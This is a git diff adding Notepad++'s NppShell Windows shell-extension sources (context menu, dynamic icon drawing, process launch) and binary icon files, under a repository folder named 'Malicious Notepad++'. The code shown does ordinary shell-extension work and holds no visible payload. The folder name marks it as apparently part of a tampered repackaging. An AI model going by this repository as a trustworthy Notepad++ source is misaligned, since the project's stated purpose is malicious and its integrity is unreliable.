menuIconWidth, menuIconHeight); + DestroyIcon(hicon); + } + } else { + icon = HBMMENU_CALLBACK; + } + + if (icon != NULL) { + MENUITEMINFO mii; + ZeroMemory(&mii, sizeof(mii)); + mii.cbSize = sizeof(mii); + mii.fMask = MIIM_BITMAP; + mii.hbmpItem = icon; + //mii.hbmpChecked = icon; + //mii.hbmpUnchecked = icon; + + SetMenuItemInfo(hMenu, nIndex, MF_BYPOSITION, &mii); + + if (m_winVer >= WINVER_VISTA) { + MENUINFO MenuInfo; + MenuInfo.cbSize = sizeof(MenuInfo); + MenuInfo.fMask = MIM_STYLE; + MenuInfo.dwStyle = MNS_CHECKORBMP; + + SetMenuInfo(hMenu, &MenuInfo); + } + + } + } + + m_hMenu = hMenu; + m_menuID = idCmd; + + return ResultFromShort(idCmd-idCmdFirst); +} + +STDMETHODIMP CShellExt::InvokeCommand(LPCMINVOKECOMMANDINFO lpcmi) { + HRESULT hr = E_INVALIDARG; + + if (!HIWORD(lpcmi->lpVerb)) { + UINT idCmd = LOWORD(lpcmi->lpVerb); + switch(idCmd) { + case 0: + hr = InvokeNPP(lpcmi->hwnd, lpcmi->lpDirectory, lpcmi->lpVerb, lpcmi->lpParameters, lpcmi->nShow); + break; + default: + break; + } + } + return hr; +} + +STDMETHODIMP CShellExt::GetCommandString(UINT_PTR, UINT uFlags, UINT FAR *, LPSTR pszName, UINT cchMax) { + LPWSTR wBuffer = (LPWSTR) pszName; + if (uFlags == GCS_HELPTEXTA) { + lstrcpynA(pszName, szHelpTextA, cchMax); + return S_OK; + } else if (uFlags == GCS_HELPTEXTW) { + lstrcpynW(wBuffer, szHelpTextW, cchMax); + return S_OK; + } + return E_NOTIMPL; +} + +STDMETHODIMP CShellExt::HandleMenuMsg2(UINT uMsg, WPARAM /*wParam*/, LPARAM lParam, LRESULT *plResult) { + + //Setup popup menu stuff (ownerdrawn) + DWORD menuIconWidth = GetSystemMetrics(SM_CXMENUCHECK); + DWORD menuIconHeight = GetSystemMetrics(SM_CYMENUCHECK); + DWORD menuIconPadding = 2; //+1 pixels on each side, is this fixed? + + switch(uMsg) { + case WM_MEASUREITEM: { //for owner drawn menu + MEASUREITEMSTRUCT * lpdis = (MEASUREITEMSTRUCT*) lParam; + + if (lpdis == NULL)// || lpdis->itemID != m_menuID) + break; + + if (m_showIcon) { + lpdis->itemWidth = 0; //0 seems to work for 98 and up + if (lpdis->itemHeight < menuIconHeight) + lpdis->itemHeight = menuIconHeight; + } + + if (plResult) + *plResult = TRUE; + break; } + case WM_DRAWITEM: { //for owner drawn menu + //Assumes proper font already been set + DRAWITEMSTRUCT * lpdis = (DRAWITEMSTRUCT*) lParam; + if ((lpdis == NULL) || (lpdis->CtlType != ODT_MENU)) + break; + + if (m_showIcon) { + HICON nppIcon = NULL; + + HRESULT hr = LoadShellIcon(menuIconWidth, menuIconHeight, &nppIcon); + + if (SUCCEEDED(hr)) { + DrawIconEx(lpdis->hDC, menuIconPadding, menuIconPadding, nppIcon, menuIconWidth, menuIconHeight, 0, NULL, DI_NORMAL); + DestroyIcon(nppIcon); + } + } + + if (plResult) + *plResult = TRUE; + + break; } + default: + break; + } + + return S_OK; +} + +// *** IPersistFile methods *** +HRESULT STDMETHODCALLTYPE CShellExt::Load(LPCOLESTR pszFileName, DWORD /*dwMode*/) { + LPTSTR file[MAX_PATH]; +#ifdef UNICODE + lstrcpyn((LPWSTR)file, pszFileName, MAX_PATH); +#else + WideCharToMultiByte(CP_ACP, 0, pszFileName, -1, (LPSTR)file, MAX_PATH, NULL, NULL); +#endif + m_szFilePath[0] = 0; + + LPTSTR ext = PathFindExtension((LPTSTR)file); + if (ext[0] == '.') { + ext++; + } + int copySize = std::min(m_nameMaxLength+1, MAX_PATH); //+1 to take zero terminator in account + lstrcpyn(m_szFilePath, ext, copySize); + m_nameLength = lstrlen(m_szFilePath); + CharUpperBuff(m_szFilePath, m_nameLength); + return S_OK; +} + +// *** IExtractIcon methods *** +STDMETHODIMP CShellExt::GetIconLocation(UINT uFlags, LPTSTR szIconFile, UINT cchMax, int * piIndex, UINT * pwFlags) { + *pwFlags = 0; + if (uFlags & GIL_DEFAULTICON || m_szFilePath[0] == 0 || !m_isDynamic) { //return regular N++ icon if requested OR the extension is bad OR static icon + if (!m_useCustom) { + lstrcpyn(szIconFile, m_szModule, cchMax); + *piIndex = 0; + } else { + lstrcpyn(szIconFile, m_szCustomPath, cchMax); + *piIndex = 0; + } + return S_OK; + } + + if(cchMax > 0) { + lstrcpyn(szIconFile, TEXT("NppShellIcon"), cchMax); + int len = lstrlen(szIconFile); + lstrcpyn(szIconFile, m_szFilePath, cchMax-len); + } + *piIndex = 0; + *pwFlags |= GIL_NOTFILENAME;//|GIL_DONTCACHE|GIL_PERINSTANCE; + + return S_OK; +} + +STDMETHODIMP CShellExt::Extract(LPCTSTR /*pszFile*/, UINT /*nIconIndex*/, HICON * phiconLarge, HICON * phiconSmall, UINT nIconSize) { + WORD sizeSmall = HIWORD(nIconSize); + WORD sizeLarge = LOWORD(nIconSize); + ICONINFO iconinfo; + BOOL res; + HRESULT hrSmall = S_OK, hrLarge = S_OK; + + if (phiconSmall) + hrSmall = LoadShellIcon(sizeSmall, sizeSmall, phiconSmall); + if (phiconLarge) + hrLarge = LoadShellIcon(sizeLarge, sizeLarge, phiconLarge); + + if (FAILED(hrSmall) || FAILED(hrLarge)) { + InvalidateIcon(phiconSmall, phiconLarge); + return S_FALSE; + } + + if (!m_isDynamic || !phiconLarge || sizeLarge < 32) //No modifications required + return S_OK; + + HDC dcEditColor, dcEditMask, dcEditTemp; + HFONT font; + HBRUSH brush; + HPEN pen; + BITMAPINFO bmi; + HBITMAP hbm; + LPDWORD pPix; + + res = GetIconInfo(*phiconLarge, &iconinfo); + if (!res) + return S_OK; //abort, the icon is still valid + + res = DestroyIcon(*phiconLarge); + if (!res) + return S_OK; + else + *phiconLarge = NULL; + + dcEditColor = CreateCompatibleDC(GetDC(0)); + dcEditMask = CreateCompatibleDC(GetDC(0)); + dcEditTemp = CreateCompatibleDC(GetDC(0)); + + // Create temp bitmap to render rectangle to + ZeroMemory(&bmi, sizeof(bmi)); + bmi.bmiHeader.biSize = sizeof(BITMAPINFOHEADER); + bmi.bmiHeader.biWidth = sizeLarge; + bmi.bmiHeader.biHeight = sizeLarge; + bmi.bmiHeader.biPlanes = 1; + bmi.bmiHeader.biBitCount = 32; + bmi.bmiHeader.biCompression = BI_RGB; + hbm = CreateDIBSection(dcEditTemp, &bmi, DIB_RGB_COLORS, (VOID**)&pPix, NULL, 0); + memset(pPix, 0x00FFFFFF, sizeof(DWORD)*sizeLarge*sizeLarge); //initialize to white pixels, no alpha + + SelectObject(dcEditColor, iconinfo.hbmColor); + SelectObject(dcEditMask, iconinfo.hbmMask); + SelectObject(dcEditTemp, hbm); + + LONG calSize = (LONG)(sizeLarge*2/5); + + LOGFONT lf = {0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, {0}}; + lf.lfHeight = calSize; + lf.lfWeight = FW_NORMAL; + lf.lfCharSet = DEFAULT_CHARSET; + lstrcpyn(lf.lfFaceName, TEXT("Courier New"), LF_FACESIZE); + RECT rectText = {0, 0, 0, 0}; + RECT rectBox = {0, 0, 0, 0}; + COLORREF backGround = RGB(1, 1, 60); + COLORREF textColor = RGB(250,250,250); + + font = CreateFontIndirect(&lf); + brush = CreateSolidBrush(backGround); + pen = CreatePen(PS_NULL, 0, backGround); + SelectObject(dcEditTemp, font); + SelectObject(dcEditTemp, brush); + SelectObject(dcEditTemp, pen); + SetBkMode(dcEditTemp, TRANSPARENT); //dont clear background when drawing text + SetBkColor(dcEditTemp, backGround); + SetTextColor(dcEditTemp, textColor); + + //Calculate size of the displayed string + SIZE stringSize; + GetTextExtentPoint32(dcEditTemp, m_szFilePath, m_nameLength, &stringSize); + stringSize.cx = std::min(stringSize.cx, (LONG)sizeLarge-2); + stringSize.cy = std::min(stringSize.cy, (LONG)sizeLarge-2); + + rectText.top = sizeLarge - stringSize.cy - 1; + rectText.left = sizeLarge - stringSize.cx - 1; + rectText.bottom = sizeLarge - 1; + rectText.right = sizeLarge - 1; + + rectBox.top = sizeLarge - stringSize.cy - 2; + rectBox.left = sizeLarge - stringSize.cx - 2; + rectBox.bottom = sizeLarge; + rectBox.right = sizeLarge; + + //Draw the background (rounded) rectangle + int elipsSize = calSize/3; + RoundRect(dcEditTemp, rectBox.left, rectBox.top, rectBox.right, rectBox.bottom, elipsSize, elipsSize); + //Draw text in the rectangle + DrawText(dcEditTemp, m_szFilePath, m_nameLength, &rectText, DT_BOTTOM|DT_SINGLELINE|DT_LEFT); + + //set alpha of non white pixels back to 255 + //premultiply alpha + //Fill in the mask bitmap (anything not 100% alpha is transparent) + int red, green, blue, alpha; + for(int y = 0; y < sizeLarge; y++) { + for(int x = 0; x < sizeLarge; x++) { + DWORD * pix = pPix+(y*sizeLarge+x); + red = *pix & 0xFF; + green = *pix >> 8 & 0xFF; + blue = *pix >> 16 & 0xFF; + alpha = *pix >> 24 & 0xFF; + if ((*pix << 8) == 0xFFFFFF00) + alpha = 0x00; + else + alpha = 0xFF; + red = (red*alpha)/0xFF; + green = (green*alpha)/0xFF; + blue = (blue*alpha)/0xFF; + *pix = RGBA(red, green, blue, alpha); + } + } + + BLENDFUNCTION ftn = { AC_SRC_OVER, 0, 0xFF, AC_SRC_ALPHA }; + int width = rectBox.right - rectBox.left; + int height = rectBox.bottom - rectBox.top; + AlphaBlend(dcEditColor, rectBox.left, rectBox.top, stringSize.cx, stringSize.cy, dcEditTemp, rectBox.left, rectBox.top, width, height, ftn); + + //Adjust the mask image: simply draw the rectangle to it + backGround = RGB(0, 0, 0); + DeleteBrush(brush); + DeletePen(pen); + brush = CreateSolidBrush(backGround); + pen = CreatePen(PS_NULL, 0, backGround); + SelectObject(dcEditMask, brush); + SelectObject(dcEditMask, pen); + RoundRect(dcEditMask, rectBox.left, rectBox.top, rectBox.right, rectBox.bottom, elipsSize, elipsSize); + + + DeleteDC(dcEditColor); + DeleteDC(dcEditMask); + DeleteDC(dcEditTemp); + DeleteBrush(brush); + DeletePen(pen); + DeleteFont(font); + DeleteBitmap(hbm); + + *phiconLarge = CreateIconIndirect(&iconinfo); + DeleteBitmap(iconinfo.hbmColor); + DeleteBitmap(iconinfo.hbmMask); + + if (*phiconLarge == NULL) { + InvalidateIcon(phiconSmall, phiconLarge); + return S_FALSE; + } + + return S_OK; +} + +void InvalidateIcon(HICON * iconSmall, HICON * iconLarge) { + if (iconSmall && *iconSmall) { + DestroyIcon(*iconSmall); + *iconSmall = NULL; + } + if (iconLarge && *iconLarge) { + DestroyIcon(*iconLarge); + *iconLarge = NULL; + } +} + +// *** Private methods *** +STDMETHODIMP CShellExt::InvokeNPP(HWND /*hParent*/, LPCSTR /*pszWorkingDir*/, LPCSTR /*pszCmd*/, LPCSTR /*pszParam*/, int iShowCmd) { + TCHAR szFilename[MAX_PATH]; + TCHAR szCustom[MAX_PATH]; + TCHAR szNotepadExecutableFilename[3 * MAX_PATH]; // Should be able to contain szFilename plus szCustom plus some additional characters. + LPTSTR pszCommand; + size_t bytesRequired = 1; + + memset(szNotepadExecutableFilename, 0, sizeof(TCHAR) * 3 * MAX_PATH); + + TCHAR szKeyTemp[MAX_PATH + GUID_STRING_SIZE]; + DWORD regSize = 0; + DWORD pathSize = MAX_PATH; + HKEY settingKey; + LONG result; + + wsprintf(szKeyTemp, TEXT("CLSID\\%s\\Settings"), szGUID); + result = RegOpenKeyEx(HKEY_CLASSES_ROOT, szKeyTemp, 0, KEY_READ, &settingKey); + if (result != ERROR_SUCCESS) { + MsgBoxError(TEXT("Unable to open registry key.")); + return E_FAIL; + } + + result = RegQueryValueEx(settingKey, TEXT("Path"), NULL, NULL, NULL, ®Size); + if (result == ERROR_SUCCESS) { + bytesRequired += regSize+2; + } else { + MsgBoxError(TEXT("Cannot read path to executable.")); + RegCloseKey(settingKey); + return E_FAIL; + } + + result = RegQueryValueEx(settingKey, TEXT("Custom"), NULL, NULL, NULL, ®Size); + if (result == ERROR_SUCCESS) { + bytesRequired += regSize; + } + + for (UINT i = 0; i < m_cbFiles; i++) { + bytesRequired += DragQueryFile((HDROP)m_stgMedium.hGlobal, i, NULL, 0); + bytesRequired += 3; + } + + bytesRequired *= sizeof(TCHAR); + pszCommand = (LPTSTR)CoTaskMemAlloc(bytesRequired); + if (!pszCommand) { + MsgBoxError(TEXT("Insufficient memory available.")); + RegCloseKey(settingKey); + return E_FAIL; + } + *pszCommand = 0; + + regSize = (DWORD)MAX_PATH*sizeof(TCHAR); + result = RegQueryValueEx(settingKey, TEXT("Path"), NULL, NULL, (LPBYTE)(szFilename), ®Size); + szFilename[MAX_PATH-1] = 0; + lstrcat(szNotepadExecutableFilename, TEXT("\"")); + lstrcat(szNotepadExecutableFilename, szFilename); + lstrcat(szNotepadExecutableFilename, TEXT("\"")); + result = RegQueryValueEx(settingKey, TEXT("Custom"), NULL, NULL, (LPBYTE)(szCustom), &pathSize); + if (result == ERROR_SUCCESS) { + lstrcat(szNotepadExecutableFilename, TEXT(" ")); + lstrcat(szNotepadExecutableFilename, szCustom); + } + RegCloseKey(settingKey); + + // We have to open the files in batches. A command on the command-line can be at most + // 2048 characters in XP and 32768 characters in Win7. In the degenerate case where all + // paths are of length MAX_PATH, we can open at most x files at once, where: + // 260 * (x + 2) = 2048 or 32768 <=> x = 5 or x = 124. + // Note the +2 to account for the path to notepad++.exe. + // http://stackoverflow.com/questions/3205027/maximum-length-of-command-line-string + + const UINT kiBatchSize = m_winVer > WINVER_XP ? 100 : 4; + + UINT iFileIndex = 0; + while(iFileIndex < m_cbFiles) { + memset(pszCommand, 0, bytesRequired); + lstrcat(pszCommand, szNotepadExecutableFilename); + for (UINT iBatchSizeCounter = 0; iFileIndex < m_cbFiles && iBatchSizeCounter < kiBatchSize; iBatchSizeCounter++) { + DragQueryFile((HDROP)m_stgMedium.hGlobal, iFileIndex, szFilename, MAX_PATH); + lstrcat(pszCommand, TEXT(" \"")); + lstrcat(pszCommand, szFilename); + lstrcat(pszCommand, TEXT("\"")); + iFileIndex++; + } + + STARTUPINFO si; + PROCESS_INFORMATION pi; + ZeroMemory(&si, sizeof(si)); + si.cb = sizeof(si); + si.dwFlags = STARTF_USESHOWWINDOW; + si.wShowWindow = (WORD)iShowCmd; //SW_RESTORE; + if (!CreateProcess (NULL, pszCommand, NULL, NULL, FALSE, 0, NULL, NULL, &si, &pi)) { + DWORD errorCode = GetLastError(); + if (errorCode == ERROR_ELEVATION_REQUIRED) { //Fallback to shellexecute + CoInitializeEx(NULL, 0); + HINSTANCE execVal = ShellExecute(NULL, TEXT("runas"), pszCommand, NULL, NULL, iShowCmd); + CoUninitialize(); + if (execVal <= (HINSTANCE)32) { + TCHAR * message = new TCHAR[512+bytesRequired]; + wsprintf(message, TEXT("ShellExecute failed (%d): Is this command correct?\r\n%s"), execVal, pszCommand); + MsgBoxError(message); + delete [] message; + } + } else { + TCHAR * message = new TCHAR[512+bytesRequired]; + wsprintf(message, TEXT("Error in CreateProcess (%d): Is this command correct?\r\n%s"), errorCode, pszCommand); + MsgBoxError(message); + delete [] message; + } + } + } + + + + CoTaskMemFree(pszCommand); + return NOERROR; +} + +STDMETHODIMP CShellExt::LoadShellIcon(int cx, int cy, HICON * phicon) { + HRESULT hr = E_OUTOFMEMORY; + HICON hicon = NULL; + + if (m_useCustom) { + hicon = (HICON)LoadImage(NULL, m_szCustomPath, IMAGE_ICON, cx, cy, LR_DEFAULTCOLOR|LR_LOADFROMFILE); + } + + //Either no custom defined, or failed and use fallback + if (hicon == NULL) { + hicon = (HICON)LoadImage(_hModule, MAKEINTRESOURCE(IDI_ICON_NPP), IMAGE_ICON, cx, cy, LR_DEFAULTCOLOR); + } + + if (hicon == NULL) { + hr = E_OUTOFMEMORY; + *phicon = NULL; + } else { + hr = S_OK; + *phicon = hicon; + } + + return hr; +} diff --git a/Malicious Notepad++/src/tools/NppShell/src/NppShell.h b/Malicious Notepad++/src/tools/NppShell/src/NppShell.h new file mode 100644 index 0000000..a98bdd4 --- /dev/null +++ b/Malicious Notepad++/src/tools/NppShell/src/NppShell.h @@ -0,0 +1,131 @@ +//--------------------------------------------------------------------------- +// Copyright 2002-2003 by Andre Burgaud +// Copyright 2009 by Harry +// See license.txt +//--------------------------------------------------------------------------- + +#ifndef STRICT +#define STRICT +#endif + +#define INC_OLE2 +#define NOMINMAX + +#include +#include +#include +#include + +#define WINVER_VISTA 0x600 +#define WINVER_XP 0x0501 + +//This is not ideal, but missing from current mingw +#ifndef ERROR_ELEVATION_REQUIRED +#define ERROR_ELEVATION_REQUIRED 740 +#endif + +#define GIL_DEFAULTICON 0x0040 + +#define GUID_SIZE 128 +#define GUID_STRING_SIZE 40 +#define TITLE_SIZE 64 + +#ifdef ARRAYSIZE +#undef ARRAYSIZE +#endif +#define ARRAYSIZE(a) (sizeof(a)/sizeof(a[0])) + +#define MAX_CMD_LENGTH 32767 +#define ResultFromShort(i) ResultFromScode(MAKE_SCODE(SEVERITY_SUCCESS, 0, (USHORT)(i))) + +#define INITGUID +#include +#include + +#ifdef WIN64 +// {B298D29A-A6ED-11DE-BA8C-A68E55D89593} +DEFINE_GUID(CLSID_ShellExtension, 0xB298D29A, 0xA6ED, 0x11DE, 0xBA, 0x8C, 0xA6, 0x8E, 0x55, 0xD8, 0x95, 0x93); +TCHAR szGUID[] = TEXT("{B298D29A-A6ED-11DE-BA8C-A68E55D89593}"); +#else +// {00F3C2EC-A6EE-11DE-A03A-EF8F55D89593} +DEFINE_GUID(CLSID_ShellExtension, 0x00F3C2EC, 0xA6EE, 0x11DE, 0xA0, 0x3A, 0xEF, 0x8F, 0x55, 0xD8, 0x95, 0x93); +TCHAR szGUID[] = TEXT("{00F3C2EC-A6EE-11DE-A03A-EF8F55D89593}"); +#endif + +class CShellExtClassFactory : public IClassFactory { +protected: + ULONG m_cRef; + +public: + CShellExtClassFactory(); + virtual ~CShellExtClassFactory(); + + // *** IUnknown methods *** + STDMETHODIMP QueryInterface(REFIID, LPVOID FAR *); + STDMETHODIMP_(ULONG) AddRef(); + STDMETHODIMP_(ULONG) Release(); + // *** IClassFactory methods *** + STDMETHODIMP CreateInstance(LPUNKNOWN, REFIID, LPVOID FAR *); + STDMETHODIMP LockServer(BOOL); +}; + +class CShellExt : public IContextMenu3, IShellExtInit, IPersistFile, IExtractIcon { +private: + // + ULONG m_cRef; + + // Menu variables + UINT m_cbFiles; + STGMEDIUM m_stgMedium; + LPDATAOBJECT m_pDataObj; + TCHAR m_szDllDir[MAX_PATH]; + TCHAR m_szMenuTitle[TITLE_SIZE]; + UINT m_menuID; + HMENU m_hMenu; + bool m_showIcon; + // Icon variables + TCHAR m_szFilePath[MAX_PATH]; + TCHAR m_szModule[MAX_PATH]; + TCHAR m_szCustomPath[MAX_PATH]; + bool m_useCustom; + int m_nameLength; + int m_nameMaxLength; + bool m_isDynamic; + + DWORD m_winVer; //current windows version + + // *** Private methods *** + STDMETHODIMP InvokeNPP(HWND hParent, LPCSTR pszWorkingDir, LPCSTR pszCmd, LPCSTR pszParam, int iShowCmd); + STDMETHODIMP LoadShellIcon(int cx, int cy, HICON * phicon); + +public: + CShellExt(); + virtual ~CShellExt(); + + // *** IUnknown methods *** + STDMETHODIMP QueryInterface(REFIID, LPVOID FAR *); + STDMETHODIMP_(ULONG) AddRef(); + STDMETHODIMP_(ULONG) Release(); + + // *** IShellExtInit methods *** + STDMETHODIMP Initialize(LPCITEMIDLIST pIDFolder, LPDATAOBJECT pDataObj, HKEY hKeyID); + + // *** IContextMenu methods *** + STDMETHODIMP QueryContextMenu(HMENU hMenu, UINT indexMenu, UINT idCmdFirst, UINT idCmdLast, UINT uFlags); + STDMETHODIMP InvokeCommand(LPCMINVOKECOMMANDINFO lpcmi); + STDMETHODIMP GetCommandString(UINT_PTR idCmd, UINT uFlags, UINT FAR *reserved, LPSTR pszName, UINT cchMax); + STDMETHODIMP HandleMenuMsg(UINT uMsg, WPARAM wParam, LPARAM lParam) { return HandleMenuMsg2(uMsg, wParam, lParam, NULL); }; + STDMETHODIMP HandleMenuMsg2(UINT uMsg, WPARAM wParam, LPARAM lParam, LRESULT *plResult); + + // *** IPersistFile methods *** + STDMETHODIMP GetClassID(CLSID *) { return E_NOTIMPL; }; + STDMETHODIMP IsDirty(void) { return E_NOTIMPL; }; + STDMETHODIMP Save(LPCOLESTR, BOOL) { return E_NOTIMPL; }; + STDMETHODIMP SaveCompleted(LPCOLESTR) { return E_NOTIMPL; }; + STDMETHODIMP GetCurFile(LPOLESTR *) { return E_NOTIMPL; }; + STDMETHODIMP Load(LPCOLESTR pszFileName, DWORD dwMode); + + // *** IExtractIcon methods *** + STDMETHODIMP GetIconLocation(UINT uFlags, LPTSTR szIconFile, UINT cchMax, int * piIndex, UINT * pwFlags); + STDMETHODIMP Extract(LPCTSTR pszFile, UINT nIconIndex, HICON * phiconLarge, HICON * phiconSmall, UINT nIconSize); +}; diff --git a/Malicious Notepad++/src/tools/NppShell/src/NppShell.rc b/Malicious Notepad++/src/tools/NppShell/src/NppShell.rc new file mode 100644 index 0000000..e91bfe0 --- /dev/null +++ b/Malicious Notepad++/src/tools/NppShell/src/NppShell.rc @@ -0,0 +1,77 @@ +#include "resource.h" +#include "winresrc.h" +///////////////////////////////////////////////////////////////////////////// +// +// Version +// + +VS_VERSION_INFO VERSIONINFO + FILEVERSION 0,1,0,0 + PRODUCTVERSION 0,1,0,0 + FILEFLAGSMASK 0x3fL +#ifdef _DEBUG + FILEFLAGS 0x3L +#else + FILEFLAGS 0x2L +#endif + FILEOS 0x4L + FILETYPE 0x2L + FILESUBTYPE 0x0L +BEGIN + BLOCK "StringFileInfo" + BEGIN + BLOCK "040904b0" + BEGIN +#ifdef WIN64 + VALUE "FileDescription", "ShellHandler for Notepad++ (64 bit)" +#else + VALUE "FileDescription", "ShellHandler for Notepad++" +#endif + VALUE "FileVersion", "0.1" + VALUE "LegalCopyright", "Copyright © 2010" +#ifdef WIN64 + VALUE "OriginalFilename", "NppShell64.dll" +#else + VALUE "OriginalFilename", "NppShell.dll" +#endif + VALUE "ProductVersion", "0.1" + END + END + BLOCK "VarFileInfo" + BEGIN + VALUE "Translation", 0x409, 1200 + END +END + + +///////////////////////////////////////////////////////////////////////////// +// +// Icon +// + +//IDI_ICON_NPP ICON "icon\\npp_1.ico" +IDI_ICON_NPP ICON "icon\\nppNewIcon.ico" + + +///////////////////////////////////////////////////////////////////////////// +// +// Dialog +// + +IDD_DIALOG_SETTINGS DIALOGEX 0, 0, 286, 149 +STYLE DS_SETFONT | DS_MODALFRAME | DS_FIXEDSYS | WS_POPUP | WS_CAPTION | WS_SYSMENU +CAPTION "NppShell Settings" +FONT 8, "MS Shell Dlg", 400, 0, 0x1 +BEGIN + GROUPBOX "Context Menu",IDC_STATIC,6,6,132,114 + CONTROL "Add context menu item",IDC_CHECK_USECONTEXT,"Button",BS_AUTO3STATE | WS_TABSTOP,18,24,90,10 + CONTROL "Show icon",IDC_CHECK_CONTEXTICON,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,18,42,48,10 + LTEXT "Menu text",IDC_STATIC,18,54,34,8 + EDITTEXT IDC_EDIT_MENU,24,66,102,14,ES_AUTOHSCROLL + LTEXT "Command line params",IDC_STATIC,18,84,70,8 + EDITTEXT IDC_EDIT_COMMAND,24,96,102,14,ES_AUTOHSCROLL + GROUPBOX "Dynamic Icon",IDC_STATIC,144,6,132,114 + CONTROL "Show dynamic icon",IDC_CHECK_USEICON,"Button",BS_AUTO3STATE | WS_TABSTOP,156,24,76,10 + CONTROL "Show extension",IDC_CHECK_ISDYNAMIC,"Button",BS_AUTOCHECKBOX | WS_TABSTOP,156,42,67,10 + DEFPUSHBUTTON "OK",IDOK,222,126,50,14 +END diff --git a/Malicious Notepad++/src/tools/NppShell/src/bitmap/npp.bmp b/Malicious Notepad++/src/tools/NppShell/src/bitmap/npp.bmp new file mode 100644 index 0000000000000000000000000000000000000000..d0cf724e9d87e97bc86526c8502b12afdf6b06b6 GIT binary patch literal 824 zcmZ?rwP0od12Z700mK4O%*Y@C7H0y=3voj*SO7@G#Kc4q0zftYVF1Yf`TOVJe}94K z9|nM^ij9qhDgPfIAOHLBZ_#jZ1`j4o1Qh@K?@vNP0$hD!V&dsHMY9KQOdTZ zT8^F}OHTvE|NQ%tl9B>f4`c(?N3=&8T_}a4;+yM&m!4rPKbktDFMck^=WBo zK#_(ejn;P;A|tUAKUh}0<}TX{^i_6tHe7vXX6B#&|CS$E;q-7PGKzk3lIJGlee2A$dza9V(b*p?>pw8$?JFuOf~yDW1={%P!>iO6cQFyjit3Zm z{Ttxw3knMU{r~^*-Sejpu3(~=D?eGbe`mX8yg!Nz#w?tX_jq27;+Cl)K^qg02zP({(*2I&BLpFbZ?A}a=}2Lg7keg=kO G1_l6+iWgS^ literal 0 HcmV?d00001 diff --git a/Malicious Notepad++/src/tools/NppShell/src/export.def b/Malicious Notepad++/src/tools/NppShell/src/export.def new file mode 100644 index 0000000..400e331 --- /dev/null +++ b/Malicious Notepad++/src/tools/NppShell/src/export.def @@ -0,0 +1,6 @@ +EXPORTS +DllRegisterServer PRIVATE +DllUnregisterServer PRIVATE +DllInstall PRIVATE +DllGetClassObject PRIVATE +DllCanUnloadNow PRIVATE \ No newline at end of file diff --git a/Malicious Notepad++/src/tools/NppShell/src/icon/nppNewIcon.ico b/Malicious Notepad++/src/tools/NppShell/src/icon/nppNewIcon.ico new file mode 100644 index 0000000000000000000000000000000000000000..2bf7aaa57d8c8ac24e00178cb033eb1365583569 GIT binary patch literal 186712 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 